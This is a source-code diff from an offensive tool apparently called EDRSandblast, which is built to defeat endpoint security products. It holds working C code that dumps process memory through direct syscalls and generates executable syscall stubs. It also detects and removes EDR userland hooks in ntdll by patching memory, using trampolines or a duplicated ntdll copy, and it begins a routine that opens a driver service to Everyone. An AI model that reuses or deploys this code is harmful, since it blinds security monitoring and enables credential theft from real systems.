if (!pmoduleList) {
goto cleanup;
}
pmemoryPages = getMemoryPagesInfo(dumpContext.hProcess, TRUE);
if (!pmemoryPages) {
goto cleanup;
}
status = writeMiniDumpHeader(&dumpContext);
if (!NT_SUCCESS(status)) {
goto cleanup;
}
status = writeMiniDumpDirectories(&dumpContext);
if (!NT_SUCCESS(status)) {
goto cleanup;
}
status = writeMiniDumpSystemInfoStream(&dumpContext);
if (!NT_SUCCESS(status)) {
goto cleanup;
}
status = writeMiniDumpModuleListStream(&dumpContext, pmoduleList);
if (!NT_SUCCESS(status)) {
goto cleanup;
}
status = writeMiniDumpMemory64ListStream(&dumpContext, pmemoryPages);
if (!NT_SUCCESS(status)) {
goto cleanup;
}
status = NtWriteFile(hDumpFile, NULL, NULL, NULL, &IoStatusBlock, dumpContext.BaseAddress, dumpContext.RVA, NULL, NULL);
if (!NT_SUCCESS(status)) {
_tprintf_or_not(TEXT("[-] Syscall process dump failed: failed to write dump to file (NtWriteFile 0x%x).\n"), status);
goto cleanup;
}
freeLinkedList(pmoduleList);
freeLinkedList(pmemoryPages);
NtClose(htargetProcess);
NtClose(hDumpFile);
_tprintf_or_not(TEXT("[+] %s sucessfully dumped with direct syscalls only to: %s\n"), targetProcessName, dumpFilePath);
return STATUS_SUCCES;
cleanup:
if (htargetProcess) {
NtClose(htargetProcess);
}
if (hDumpFile) {
NtClose(hDumpFile);
}
if (pmoduleList) {
freeLinkedList(pmoduleList);
}
if (pmemoryPages) {
freeLinkedList(pmemoryPages);
}
return STATUS_UNSUCCESSFUL;
}
DWORD SandMiniDumpWriteDumpFromThread(PVOID* args) {
return SandMiniDumpWriteDump(args[0], args[1]);
}
+204
View File
@@ -0,0 +1,204 @@
#include <Windows.h>
#include "UserlandHooks.h"
#include "PEParser.h"
#include "PEBBrowse.h"
#define INVALID_SYSCALL_NUMBER 0xFFFFFFFF
DWORD GetSyscallNumberFromMemoryScanning(LPCSTR ntFunctionName) {
PE* ntdll_disk;
PE* ntdll_mem;
getNtdllPEs(&ntdll_mem, &ntdll_disk);
DWORD syscallNumber = INVALID_SYSCALL_NUMBER;
PBYTE scanner = PE_functionAddr(ntdll_disk, ntFunctionName);
for (int i = 0; i < 0x10; i++, scanner++) {
PDWORD pPotentialSycallNumber = (PDWORD)(scanner + 1);
if (*scanner == 0xB8 && *pPotentialSycallNumber < 0x10000) { //B8 : mov eax, imm32
syscallNumber = *pPotentialSycallNumber;
break;
}
}
return syscallNumber;
}
typedef struct SYSCALL_t {
LPCSTR Name;
DWORD RVA;
DWORD Number;
}SYSCALL;
int CmpSyscallsByRVA(SYSCALL const* a, SYSCALL const* b) {
if (a->RVA < b->RVA) {
return -1;
}
else if (a->RVA > b->RVA) {
return +1;
}
else {
return 0;
}
}
int CmpSyscallsByName(SYSCALL const* a, SYSCALL const* b) {
return strcmp(a->Name, b->Name);
}
DWORD g_nbSyscalls = 0;
DWORD g_nbSyscallsMax = 0;
SYSCALL* g_syscalls = NULL;
SYSCALL* GetSyscallTable(PDWORD syscallTableSize) {
if (g_syscalls != NULL) {
*syscallTableSize = g_nbSyscalls;
return g_syscalls;
}
g_nbSyscallsMax = 0x10;
g_syscalls = calloc(g_nbSyscallsMax, sizeof(SYSCALL));
if (!g_syscalls) {
return NULL;
}
PE* ntdll_mem = NULL;
PE* ntdll_disk = NULL;
getNtdllPEs(&ntdll_mem, &ntdll_disk);
// Store all Zw* function as a syscall
for (DWORD nameOrdinal = 0; nameOrdinal < ntdll_mem->exportedNamesLength; nameOrdinal++) {
LPCSTR functionName = PE_RVA_to_Addr(ntdll_mem, ntdll_mem->exportedNames[nameOrdinal]);
if (*(WORD*)functionName == *((WORD*)"Zw")) {
if (g_nbSyscalls == g_nbSyscallsMax) {
g_nbSyscallsMax *= 2;
PVOID tmp = realloc(g_syscalls, g_nbSyscallsMax * sizeof(SYSCALL));
if (!tmp) {
return NULL;
}
g_syscalls = tmp;
}
g_syscalls[g_nbSyscalls].Name = functionName;
g_syscalls[g_nbSyscalls].RVA = PE_functionRVA(ntdll_mem, functionName);
g_nbSyscalls++;
}
}
PVOID tmp = realloc(g_syscalls, g_nbSyscalls * sizeof(SYSCALL));
if (!tmp || !g_nbSyscalls) {
return NULL;
}
g_syscalls = tmp;
g_nbSyscallsMax = g_nbSyscalls;
// Sort the Zw* functions by RVA
qsort(g_syscalls, g_nbSyscalls, sizeof(SYSCALL), CmpSyscallsByRVA);
// Deduce the syscall numbers from order in table
for (DWORD j = 0; j < g_nbSyscalls; j++) {
g_syscalls[j].Number = j;
}
// Sort the function back in alphabetical order
qsort(g_syscalls, g_nbSyscalls, sizeof(SYSCALL), CmpSyscallsByName);
*syscallTableSize = g_nbSyscalls;
return g_syscalls;
}
DWORD GetSyscallNumberFromHardcodedInformation(LPCSTR ntFunctionName) {
PE* ntdll_mem = NULL;
PE* ntdll_disk = NULL;
getNtdllPEs(&ntdll_mem, &ntdll_disk);
DWORD syscallNumber = INVALID_SYSCALL_NUMBER;
if (!strcmp(ntFunctionName, "NtProtectVirtualMemory")) {
pRtlGetVersion RtlGetVersion = (pRtlGetVersion)PE_functionAddr(ntdll_mem, "RtlGetVersion");
OSVERSIONINFOEXW versionInformation = { 0 };
RtlGetVersion(&versionInformation);
if (versionInformation.dwMajorVersion == 10 && versionInformation.dwMinorVersion == 0 && versionInformation.dwBuildNumber <= 19044) {
syscallNumber = 0x50; // win10
}
else if (versionInformation.dwMajorVersion == 6 && versionInformation.dwMinorVersion == 3) {
syscallNumber = 0x4F; // win8.1 / 2012 R2
}
else if (versionInformation.dwMajorVersion == 6 && versionInformation.dwMinorVersion == 2) {
syscallNumber = 0x4E; // win8 / 2012
}
else if (versionInformation.dwMajorVersion <= 6) {
syscallNumber = 0x4D; // win7 / 2008 R2 & before
}
}
return syscallNumber;
}
DWORD GetSyscallNumberFromExportOrdering(LPCSTR ntFunctionName) {
DWORD syscallTableSize;
SYSCALL* syscallTable = GetSyscallTable(&syscallTableSize);
if (syscallTable == NULL) {
return INVALID_SYSCALL_NUMBER;
}
LPSTR zwFunctionName = _strdup(ntFunctionName);
if (zwFunctionName == NULL) {
return INVALID_SYSCALL_NUMBER;
}
*(WORD*)zwFunctionName = *(WORD*)"Zw";
DWORD down = 0;
DWORD up = syscallTableSize;
while (up - down > 1) {
DWORD mid = (down + up) / 2;
if (strcmp(syscallTable[mid].Name, zwFunctionName) <= 0) {
down = mid;
}
else {
up = mid;
}
}
if (!strcmp(syscallTable[down].Name, zwFunctionName)) {
return syscallTable[down].Number;
}
else {
return INVALID_SYSCALL_NUMBER;
}
}
PVOID CreateSyscallStubWithVirtuallAlloc(LPCSTR ntFunctionName) {
BYTE mov_eax_syscall_number[] = { 0xB8, 0x42, 0x42, 0x42, 0x42 };
BYTE mov_r10_rcx[] = { 0x4C, 0x8B, 0xD1 };
BYTE syscall_ret[] = { 0x0F, 0x05, 0xC3 };
SIZE_T shellcode_len = sizeof(mov_eax_syscall_number) + sizeof(mov_r10_rcx) + sizeof(syscall_ret);
PBYTE shellcode = VirtualAlloc(NULL, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!shellcode) {
return NULL;
}
PBYTE pShellcode = shellcode;
// get the syscall number through different techniques and check they give the same result
DWORD syscallNumber = INVALID_SYSCALL_NUMBER;
DWORD(*GetSyscallNumberFunc[])(LPCSTR) = { GetSyscallNumberFromMemoryScanning , GetSyscallNumberFromExportOrdering , GetSyscallNumberFromHardcodedInformation };
for (DWORD i = 0; i < _countof(GetSyscallNumberFunc); i++) {
DWORD syscallNumberCandidate = GetSyscallNumberFunc[i](ntFunctionName);
if (syscallNumberCandidate != INVALID_SYSCALL_NUMBER) {
if (syscallNumber != INVALID_SYSCALL_NUMBER && syscallNumber != syscallNumberCandidate) {
return NULL;
}
syscallNumber = syscallNumberCandidate;
}
}
if (syscallNumber == INVALID_SYSCALL_NUMBER) {
return NULL;
}
*(DWORD*)&mov_eax_syscall_number[1] = syscallNumber;
memcpy(pShellcode, mov_eax_syscall_number, sizeof(mov_eax_syscall_number));
pShellcode += sizeof(mov_eax_syscall_number);
memcpy(pShellcode, mov_r10_rcx, sizeof(mov_r10_rcx));
pShellcode += sizeof(mov_r10_rcx);
memcpy(pShellcode, syscall_ret, sizeof(syscall_ret));
pShellcode += sizeof(syscall_ret);
DWORD oldProtect;
VirtualProtect(shellcode, shellcode_len, PAGE_EXECUTE_READ, &oldProtect);
return shellcode;
}
+623
View File
@@ -0,0 +1,623 @@
/*
* All the logic that detects, resolves, patch userland hooks and other related structures
*/
#include <Windows.h>
#include <PathCch.h>
#include <stdio.h>
#include "../EDRSandblast.h"
#include "FileUtils.h"
#include "UserlandHooks.h"
#include "PEBBrowse.h"
#include "Undoc.h"
#include "Syscalls.h"
#if _DEBUG
int debugf(const char* fmt, ...) {
va_list args;
va_start(args, fmt);
int res = vprintf(fmt, args);
va_end(args);
return res;
}
#else
#define debugf(...)
#endif
/*
* Return the address (in "mem") of the first difference between two memory ranges ("mem" & "disk") of size "len".
* If the "lenPatch" pointer is provided, also returns the number of consecutive bytes that differ
*/
PBYTE findDiff(PBYTE mem, PBYTE disk, size_t len, size_t* lenPatch) {
for (size_t i = 0; i < len; i++) {
if (mem[i] != disk[i]) {
size_t patchStartIndex = i;
if (NULL != lenPatch) {
while (mem[i] != disk[i] && i < len) {
i++;
}
*lenPatch = i - patchStartIndex;
}
return &mem[patchStartIndex];
}
}
if (NULL != lenPatch) {
*lenPatch = 0;
}
return NULL;
}
/*
* Returns a list of differences (patches) between two memory ranges ("searchStartMem" and "searchStartDisk") of size "sizeToScan".
* The list is a NULL-terminated array of "diff" elements
*/
PATCH_DIFF* findDiffsInRange(PBYTE searchStartMem, PBYTE searchStartDisk, size_t sizeToScan) {
size_t diffSize;
PVOID diffAddr = findDiff(searchStartMem, searchStartDisk, sizeToScan, &diffSize);
DWORD diffsListLen = 4;
size_t diffsListI = 0;
PATCH_DIFF* diffsList = malloc(diffsListLen * sizeof(PATCH_DIFF));
if (NULL == diffsList) {
debugf("bug in malloc in findDiffsInRange\n");
exit(1);
}
while (diffAddr != NULL && sizeToScan != 0) {
//debugf("diff found at 0x%p of size %d\n", diffAddr, diffSize);
searchStartDisk = (BYTE*)searchStartDisk + ((BYTE*)diffAddr + diffSize - (BYTE*)searchStartMem);
sizeToScan -= ((BYTE*)diffAddr + diffSize - (BYTE*)searchStartMem);
searchStartMem = (BYTE*)diffAddr + diffSize;
diffsList[diffsListI].mem_ptr = diffAddr;
diffsList[diffsListI].disk_ptr = searchStartDisk - diffSize;
diffsList[diffsListI].size = diffSize;
diffAddr = findDiff(searchStartMem, searchStartDisk, sizeToScan, &diffSize);
diffsListI++;
if (diffsListI >= diffsListLen) {
diffsListLen *= 2;
PVOID diffsListTmp = realloc(diffsList, diffsListLen * sizeof(PATCH_DIFF));
if (NULL == diffsListTmp) {
debugf("bug in realloc in findDiffsInRange\n");
exit(1);
}
diffsList = diffsListTmp;
}
}
PVOID diffsListTmp = realloc(diffsList, (diffsListI + 1) * sizeof(PATCH_DIFF));
if (NULL == diffsListTmp) {
debugf("bug in realloc in findDiffsInRange\n");
exit(1);
}
diffsList = diffsListTmp;
diffsList[diffsListI].mem_ptr = NULL;
diffsList[diffsListI].disk_ptr = NULL;
diffsList[diffsListI].size = 0;
return diffsList;
}
/*
* Returns the list of differences between the content of a PE on disk and the content of its version in memory.
* Only read-only sections are compared, since writable sections will obviously contain differences.
* Warning : "diskPe" should have been "relocated" to the same address as "memPe" in order not to return all relocations as differences
*/
PATCH_DIFF* findDiffsInNonWritableSections(PE* memPe, PE* diskPe) {
PATCH_DIFF* list = NULL;
for (IMAGE_SECTION_HEADER* nonWritableSection = PE_nextSectionHeader_fromPermissions(memPe, NULL, 0, -1, 0);
nonWritableSection != NULL;
nonWritableSection = PE_nextSectionHeader_fromPermissions(memPe, nonWritableSection, 0, -1, 0)) {
debugf("Diffs in section %s:\n", nonWritableSection->Name);
DWORD sectionRVA = nonWritableSection->VirtualAddress;
LPVOID sectionAddrDisk = PE_RVA_to_Addr(diskPe, sectionRVA);
LPVOID sectionAddrMem = PE_RVA_to_Addr(memPe, sectionRVA);
LPVOID searchStartMem = sectionAddrMem;
LPVOID searchStartDisk = sectionAddrDisk;
DWORD remainingSize = nonWritableSection->Misc.VirtualSize;
list = findDiffsInRange(searchStartMem, searchStartDisk, remainingSize);
}
return list;
}
/*
* Looks for a memory needle in a memory haystack
*/
PBYTE memmem(PVOID haystack, SIZE_T haystack_len, PVOID needle, SIZE_T needle_len)
{
if (!haystack)
return NULL;
if (!haystack_len)
return NULL;
if (!needle)
return NULL;
if (!needle_len)
return NULL;
PBYTE h = haystack;
while (haystack_len >= needle_len)
{
if (!memcmp(h, needle, needle_len))
return h;
++h;
--haystack_len;
}
return NULL;
}
/*
* Search for a piece of executable code starting with pattern followed by a jump to expectedTarget
*/
PVOID searchTrampolineInExecutableMemory(PVOID pattern, size_t patternSize, PVOID expectedTarget)
{
SIZE_T haystack_len;
PVOID haystack;
PBYTE patternInExecutableMemory;
MEMORY_BASIC_INFORMATION mbi = { 0 };
for (PBYTE addr = 0; ; addr += mbi.RegionSize)
{
if (!VirtualQuery(addr, &mbi, sizeof(mbi))) {
break;
}
if (mbi.State != MEM_COMMIT) {
continue;
}
if (mbi.Protect != PAGE_EXECUTE && mbi.Protect != PAGE_EXECUTE_READ && mbi.Protect != PAGE_EXECUTE_READWRITE) {
continue;
}
haystack = mbi.BaseAddress;
haystack_len = mbi.RegionSize;
while (haystack_len)
{
patternInExecutableMemory = (PBYTE)memmem(haystack, haystack_len, pattern, patternSize);
if (!patternInExecutableMemory) {
break;
}
if (hookResolver(&patternInExecutableMemory[patternSize]) == expectedTarget) {
return patternInExecutableMemory;
}
haystack_len -= patternInExecutableMemory + 1 - (PBYTE)haystack;
haystack = patternInExecutableMemory + 1;
}
}
return NULL;
}
VOID unhook(HOOK* hook, UNHOOK_METHOD unhook_method) {
if (unhook_method == UNHOOK_NONE) {
return;
}
const WCHAR* ntdlolFileName = L".\\ntdlol.txt";
WCHAR ntdllFilePath[MAX_PATH] = { 0 };
WCHAR ntdlolFilePath[MAX_PATH] = { 0 };
HANDLE secondNtdll = INVALID_HANDLE_VALUE;
PE* ntdll_mem = NULL;
PE* ntdll_disk = NULL;
getNtdllPEs(&ntdll_mem, &ntdll_disk);
PATCH_DIFF* patches = hook->list_patches;
//merge every small patches into 1 patch to perform a single write
PATCH_DIFF patch = patches[0];
int nb_patches = 0;
while (patches[nb_patches].size) {
nb_patches++;
}
PATCH_DIFF lastPatch = patches[nb_patches - 1];
patch.size += ((PBYTE)(lastPatch.mem_ptr) - ((PBYTE)(patch.mem_ptr) + patch.size)) + lastPatch.size;
pNtProtectVirtualMemory unmonitoredNtProtectVirtualMemory = NULL;
// Method used to get a NtProtectVirtualMemory function that is safe to use
switch (unhook_method) {
case UNHOOK_WITH_NTPROTECTVIRTUALMEMORY:
// in this case, it is not really "safe" to use
unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory)PE_functionAddr(ntdll_mem, "NtProtectVirtualMemory");
break;
case UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE:
case UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE:
unmonitoredNtProtectVirtualMemory = getSafeVirtualProtectUsingTrampoline(unhook_method);
break;
case UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY:
GetSystemDirectoryW(ntdllFilePath, _countof(ntdllFilePath));
PathCchCombine(ntdllFilePath, _countof(ntdllFilePath), ntdllFilePath, L"ntdll.dll");
GetTempPathW(MAX_PATH, ntdlolFilePath);
PathCchCombine(ntdlolFilePath, _countof(ntdlolFilePath), ntdlolFilePath, ntdlolFileName);
CopyFileW(ntdllFilePath, ntdlolFilePath, FALSE);
secondNtdll = LoadLibraryW(ntdlolFilePath);
PE* secondNtdll_pe = PE_create(secondNtdll, TRUE);
unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory)PE_functionAddr(secondNtdll_pe, "NtProtectVirtualMemory");
break;
case UNHOOK_WITH_DIRECT_SYSCALL:
unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory)CreateSyscallStubWithVirtuallAlloc("NtProtectVirtualMemory");
if (unmonitoredNtProtectVirtualMemory == NULL) {
printf_or_not("Something wrong happened with CreateSyscallStubWithVirtuallAlloc, aborting...\n");
exit(EXIT_FAILURE);
}
break;
default:
printf_or_not("Unhook method does not exist, exiting...\n");
exit(EXIT_FAILURE);
break;
}
//actually remove the hook
DWORD oldProtect;
PVOID patch_mem_ptr = patch.mem_ptr;
SIZE_T patch_size = patch.size;
NTSTATUS status = unmonitoredNtProtectVirtualMemory(
(HANDLE)-1, // GetCurrentProcess()
&patch_mem_ptr,
&patch_size,
PAGE_EXECUTE_READWRITE,
&oldProtect
);
if (!NT_SUCCESS(status)) {
debugf("unmonitoredNtProtectVirtualMemory 1 failed with status 0x%08x\n", status);
exit(1);
}
for (size_t i = 0; i < patch.size; i++) {
((PBYTE)patch.mem_ptr)[i] = ((PBYTE)patch.disk_ptr)[i];
}
status = unmonitoredNtProtectVirtualMemory(
(HANDLE)-1, // GetCurrentProcess()
&patch_mem_ptr,
&patch_size,
oldProtect,
&oldProtect
);
if (!NT_SUCCESS(status)) {
debugf("unmonitoredNtProtectVirtualMemory 2 failed with status 0x%08x\n", status);
exit(1);
}
switch (unhook_method) {
case UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY:
if (secondNtdll && INVALID_HANDLE_VALUE != secondNtdll) {
FreeLibrary(secondNtdll);
}
DeleteFileW(ntdlolFilePath);
break;
}
}
pNtProtectVirtualMemory getSafeVirtualProtectUsingTrampoline(DWORD unhook_method) {
PE* ntdllPE_mem = NULL;
PE* ntdllPE_disk = NULL;
getNtdllPEs(&ntdllPE_mem, &ntdllPE_disk);
PVOID disk_NtProtectVirtualMemory = PE_functionAddr(ntdllPE_disk, "NtProtectVirtualMemory");
PVOID mem_NtProtectVirtualMemory = PE_functionAddr(ntdllPE_mem, "NtProtectVirtualMemory");
size_t patchSize = 0;
PVOID patchAddr = findDiff(mem_NtProtectVirtualMemory, disk_NtProtectVirtualMemory, PATCH_MAX_SIZE, &patchSize);
if (patchSize == 0) {
return (pNtProtectVirtualMemory)mem_NtProtectVirtualMemory;
}
if (unhook_method == UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE) {
PVOID trampoline = NULL;
trampoline = searchTrampolineInExecutableMemory((PBYTE)disk_NtProtectVirtualMemory + ((PBYTE)patchAddr - (PBYTE)mem_NtProtectVirtualMemory), patchSize, (PBYTE)patchAddr + patchSize);
if (NULL == trampoline) {
debugf("Trampoline for NtProtectVirtualMemory was impossible to find !\n");
exit(1);
}
return (pNtProtectVirtualMemory)trampoline;
}
else if (unhook_method == UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE) {
#if _WIN64
#define JUMP_SIZE 14
#else
#define JUMP_SIZE 5
#endif
PBYTE trampoline = VirtualAlloc(NULL, patchSize + JUMP_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (NULL == trampoline) {
debugf("\tError : VirtualAlloc: 0x%x\n\n", GetLastError());
exit(1);
}
DWORD oldProtect;
memcpy(trampoline, disk_NtProtectVirtualMemory, patchSize);
#if _WIN64
* ((WORD*)(trampoline + patchSize)) = 0x25FF; //RIP relative jmp
*((DWORD*)(trampoline + patchSize + 2)) = 0x0; // [RIP + 0]
*((QWORD*)(trampoline + patchSize + 2 + 4)) = (QWORD)(((BYTE*)mem_NtProtectVirtualMemory) + patchSize);
#else
* (trampoline + patchSize) = 0xE9; //far JMP
*((DWORD*)(trampoline + patchSize + 1)) = (DWORD)(((DWORD)mem_NtProtectVirtualMemory) + patchSize - (((DWORD)trampoline) + patchSize + JUMP_SIZE));
#endif
VirtualProtect(trampoline, patchSize + JUMP_SIZE, PAGE_EXECUTE_READ, &oldProtect);
return (pNtProtectVirtualMemory)trampoline;
}
return NULL;
}
PVOID hookResolver(PBYTE hookAddr) {
PBYTE destination = hookAddr;
BOOL hasFollowedJmp = FALSE;
while (TRUE) {
MEMORY_BASIC_INFORMATION mbi;
VirtualQuery(destination, &mbi, sizeof(mbi));
if (mbi.State != MEM_COMMIT) {
return NULL;
}
switch (destination[0]) {
case 0xE9:
{
int diff = *((int*)(&destination[1]));
destination = &destination[5] + diff;
hasFollowedJmp = TRUE;
break;
}
#if _WIN64
case 0xFF:
{
BYTE selector = destination[1];
if (selector != 0x25) {
return NULL;
}
int diff = *((int*)(&destination[2]));
QWORD* offsetPtr = (QWORD*)((&destination[6]) + diff);
destination = (PBYTE)*offsetPtr;
hasFollowedJmp = TRUE;
break;
}
#endif
default:
if (!hasFollowedJmp) {
return NULL;
}
else {
return destination;
}
}
}
}
BOOL isFunctionHooked(LPCSTR functionName, PE* memDLL, PE* diskDLL) {
PVOID mem_functionStart = PE_functionAddr(memDLL, functionName);
PVOID disk_functionStart = PE_functionAddr(diskDLL, functionName);
return findDiff(mem_functionStart, disk_functionStart, PATCH_MAX_SIZE, NULL) != NULL;
}
_Ret_notnull_ HOOK* searchHooks(const char* csvFileName) {
FILE* csvFile = NULL;
DWORD hookListSize = 8;
DWORD hookList_i = 0;
HOOK* hooksList = calloc(hookListSize, sizeof(HOOK));
if (NULL == hooksList) {
debugf("calloc failed\n");
exit(1);
}
if (csvFileName) {
if (fopen_s(&csvFile, csvFileName, "w") || NULL == csvFile) {
perror("CSV file could not be opened:");
exit(1);
}
fprintf(csvFile, "DLL base address;DLL name;DLL full path;Hooked function;Hook handler address;Hook handler relative address\n");
}
BOOL hooksFoundInLastModule = TRUE;
PBYTE disk_dllContent = NULL;
PE* diskDLL = NULL;
PE* memDLL = NULL;
for (LDR_DATA_TABLE_ENTRY* currentModuleEntry = getNextModuleEntryInLoadOrder(NULL); currentModuleEntry != NULL; currentModuleEntry = getNextModuleEntryInLoadOrder(currentModuleEntry)) {
UNICODE_STRING dll_name = currentModuleEntry->BaseDllName;
if (dll_name.Buffer == NULL) {
continue;
}
WCHAR* moduleName = currentModuleEntry->FullDllName.Buffer;
if (!hooksFoundInLastModule) {
printf_or_not("[+] [Hooks]\t\tNo hooks found in this module.\n");
if (disk_dllContent) {
free(disk_dllContent);
disk_dllContent = NULL;
}
if (memDLL) {
PE_destroy(memDLL);
memDLL = NULL;
}
if (diskDLL) {
PE_destroy(diskDLL);
diskDLL = NULL;
}
}
else {
hooksFoundInLastModule = FALSE;
}
printf_or_not("[+] [Hooks]\t%ws (%ws): 0x%p\n", dll_name.Buffer, moduleName, currentModuleEntry->DllBase);
if (csvFile) {
fprintf(csvFile, "0x%p;%ws;%ws;;;\n",
currentModuleEntry->DllBase,
currentModuleEntry->BaseDllName.Buffer,
currentModuleEntry->FullDllName.Buffer
);
}
PVOID mem_dllImageBase = currentModuleEntry->DllBase;
memDLL = PE_create(mem_dllImageBase, TRUE);
if (!memDLL || NULL == memDLL->exportDirectory) {
continue;
}
if (!FileExistsW(currentModuleEntry->FullDllName.Buffer)) {
continue;
}
disk_dllContent = ReadFullFileW(currentModuleEntry->FullDllName.Buffer);
if (NULL == disk_dllContent) {
debugf("\tError : ReadFullFileW: 0x%x\n\n", GetLastError());
continue;
}
diskDLL = PE_create(disk_dllContent, FALSE);
if (NULL == diskDLL) {
debugf("\tError : PE_create\n");
continue;
}
PE_rebasePE(diskDLL, memDLL->baseAddress);
for (DWORD nameOrdinal = 0; nameOrdinal < diskDLL->exportedNamesLength; nameOrdinal++) {
LPCSTR functionName = PE_RVA_to_Addr(diskDLL, diskDLL->exportedNames[nameOrdinal]);
DWORD functionRVA = PE_functionRVA(diskDLL, functionName);
IMAGE_SECTION_HEADER* functionSectionHeader = PE_sectionHeader_fromRVA(diskDLL, functionRVA);
if ((functionSectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE) == 0)//not a function
continue;
PBYTE disk_functionStart = PE_functionAddr(diskDLL, functionName);
PBYTE mem_functionStart = PE_functionAddr(memDLL, functionName);
//check if hook was already detected in this function (due to export aliasing)
BOOL alreadyChecked = FALSE;
for (size_t i = 0; i < hookList_i; i++) {
if (hooksList[i].mem_function == mem_functionStart) {
alreadyChecked = TRUE;
break;
}
}
if (alreadyChecked)
continue;
if (isFunctionHooked(functionName, diskDLL, memDLL)) {
printf_or_not("[+] [Hooks]\t\tHook detected in function %s (0x%08lx)", functionName, functionRVA);
hooksFoundInLastModule = TRUE;
PVOID jmpTarget = hookResolver(mem_functionStart);
if (NULL == jmpTarget) {
printf_or_not("...but not a JMP, maybe a false positive (data export) or unimplemented hook recognition\n");
}
else {
LDR_DATA_TABLE_ENTRY* hookTargetModuleEntry = getModuleEntryFromAbsoluteAddr(jmpTarget);
for (DWORD i = 0; i < 40 - strlen(functionName); i++) {
printf_or_not(" ");
}
// TODO: Fix hooks resolver to identify dll
// printf_or_not("-> %ws+0x%tx", hookTargetModuleEntry->BaseDllName.Buffer, ((PBYTE)jmpTarget) - ((PBYTE)hookTargetModuleEntry->DllBase));
if (csvFile) {
fprintf(csvFile, "0x%p;%ws;%ws;%s;0x%p;%ws+0x%tx\n",
currentModuleEntry->DllBase,
currentModuleEntry->BaseDllName.Buffer,
currentModuleEntry->FullDllName.Buffer,
functionName,
jmpTarget,
hookTargetModuleEntry->BaseDllName.Buffer, ((PBYTE)jmpTarget) - ((PBYTE)hookTargetModuleEntry->DllBase)
);
}
if (hookList_i >= hookListSize) {
hookListSize *= 2;
PVOID hooksListTmp = realloc(hooksList, hookListSize * sizeof(HOOK));
if (hooksListTmp == NULL) {
debugf("realloc failed\n");
exit(1);
}
hooksList = hooksListTmp;
}
printf_or_not("\n");
hooksList[hookList_i].mem_function = mem_functionStart;
hooksList[hookList_i].disk_function = disk_functionStart;
hooksList[hookList_i].functionName = functionName;
hooksList[hookList_i].list_patches = findDiffsInRange(mem_functionStart, disk_functionStart, PATCH_MAX_SIZE);
hookList_i++;
}
}
}
}
if (!hooksFoundInLastModule) {
printf_or_not("[+] [Hooks]\t\tNo hooks found in this module.\n");
}
if (csvFileName) {
fclose(csvFile);
}
if (hookList_i >= hookListSize) {
hookListSize++;
PVOID hooksListTmp = realloc(hooksList, hookListSize * sizeof(HOOK));
if (NULL == hooksListTmp) {
printf_or_not("realloc failed\n");
exit(1);
}
hooksList = hooksListTmp;
}
hooksList[hookList_i].mem_function = NULL;
hooksList[hookList_i].disk_function = NULL;
hooksList[hookList_i].functionName = NULL;
return hooksList;
}
/*
* Get a view of ntdll.dll PE both on disk and in memory, while caching it for later access
* "Rebase" the disk version to the same base address of the memory-mapped one for coherence
*/
void getNtdllPEs(PE** ntdllPE_mem, PE** ntdllPE_disk) {
LDR_DATA_TABLE_ENTRY* ntdllModuleEntry = getModuleEntryFromNameW(L"ntdll.dll");
PE* ntdllPE_mem_l = NULL;
PE* ntdllPE_disk_l = NULL;
if (ntdllMemPe_g == NULL) {
ntdllMemPe_g = ntdllPE_mem_l = PE_create(ntdllModuleEntry->DllBase, TRUE);
}
else {
ntdllPE_mem_l = ntdllMemPe_g;
}
if (ntdllDiskPe_g == NULL) {
PVOID disk_dllContent = ReadFullFileW(ntdllModuleEntry->FullDllName.Buffer);
if (NULL == disk_dllContent) {
exit(1);
}
ntdllDiskPe_g = ntdllPE_disk_l = PE_create(disk_dllContent, FALSE);
PE_rebasePE(ntdllPE_disk_l, ntdllPE_mem_l->baseAddress);
}
else {
ntdllPE_disk_l = ntdllDiskPe_g;
}
if (ntdllPE_mem) {
*ntdllPE_mem = ntdllPE_mem_l;
}
if (ntdllPE_disk) {
*ntdllPE_disk = ntdllPE_disk_l;
}
}
void test_trampoline_search()
{
for (HOOK* h = searchHooks(NULL); h->disk_function; ++h)
{
PVOID trampoline = NULL;
printf_or_not("[+] [Hooks]\tLooking for %s trampoline...\n", h->functionName);
for (PATCH_DIFF* d = h->list_patches; d->disk_ptr; ++d)
{
trampoline = (PBYTE)searchTrampolineInExecutableMemory((PBYTE)d->disk_ptr, d->size, (PBYTE)d->mem_ptr + d->size);
if (trampoline)
{
printf_or_not("[+] [Hooks]\t\tTrampoline found at %p !\n", trampoline);
break;
}
}
if (!trampoline)
printf_or_not("[+] [Hooks]\t\tTRAMPOLINE NOT FOUND !\n");
}
}
+69 -197
View File
@@ -6,234 +6,57 @@
*/
#include <Windows.h>
#include <aclapi.h>
#include <Shlwapi.h>
#include <Tchar.h>
#include <time.h>
#include "DriverOps.h"
BOOL ServiceAddEveryoneAccess(SC_HANDLE serviceHandle) {
BOOL status = FALSE;
DWORD dwSizeNeeded;
PSECURITY_DESCRIPTOR oldSd, newSd;
SECURITY_DESCRIPTOR dummySdForXP;
SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY;
EXPLICIT_ACCESS ForEveryoneACL = {
SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG | SERVICE_INTERROGATE | SERVICE_ENUMERATE_DEPENDENTS | SERVICE_PAUSE_CONTINUE | SERVICE_START | SERVICE_STOP | SERVICE_USER_DEFINED_CONTROL | READ_CONTROL,
SET_ACCESS,
NO_INHERITANCE,
{NULL, NO_MULTIPLE_TRUSTEE, TRUSTEE_IS_SID, TRUSTEE_IS_WELL_KNOWN_GROUP, NULL}
};
if (!QueryServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, &dummySdForXP, 0, &dwSizeNeeded) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER)) {
